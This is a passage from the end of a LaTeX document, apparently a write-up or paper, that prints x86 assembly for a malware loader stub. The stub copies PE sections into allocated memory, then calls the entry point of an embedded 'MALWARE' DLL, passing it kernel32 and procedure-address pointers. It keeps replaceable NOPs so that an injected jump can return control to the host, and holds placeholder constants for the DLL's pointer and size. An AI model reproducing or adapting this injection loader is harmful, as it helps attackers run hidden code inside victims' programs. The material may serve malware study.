popad + ; next + add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER) + loop __ldr_section_copy + ; move arguments to registers + mov eax,[ebp + OFF_ADROFENTRY] + add eax,[ebp + OFF_VALLOCBUF] + push eax ; MALWARE-CRT adr (AddressOfEntry) + ; arguments + mov ebx,0xdeadbeef ; identificator + mov eax,[esi + ESI_PTRDLL] ; save dll section address on stack + mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr + mov esi,[esi + ESI_SIZDLL] ; size of dll + mov ecx,[ebp + OFF_PROCADDR] + mov edx,[ebp + OFF_KERNEL32] + call [esp] ; call AddressOfEntry (MALWARE-CRT) + pop ecx +__ldr_end: + ; CLEANUP STACK + add esp,STACKMEM + ; restore old gpr+flag regs + popfd + popad + ; cleanup stack frame + pop ebp + ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected + ; replaceable nops (15 bytes max instruction length for x86/x86_64) + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + ; `jump back` nops + nop + nop + nop + nop + nop + ; return if call'd + ret + ; CONSTS MODIFIED BY THE MALWARE + __ldr_ConstData: + call near __ldr_gotConstData + + db DEADBEEF ; Pointer to MALWARE DLL + db DEADBEEF ; Size of MALWARE DLL + db DEADC0DE ; unused, end marker +\end{lstlisting} + +\end{document} |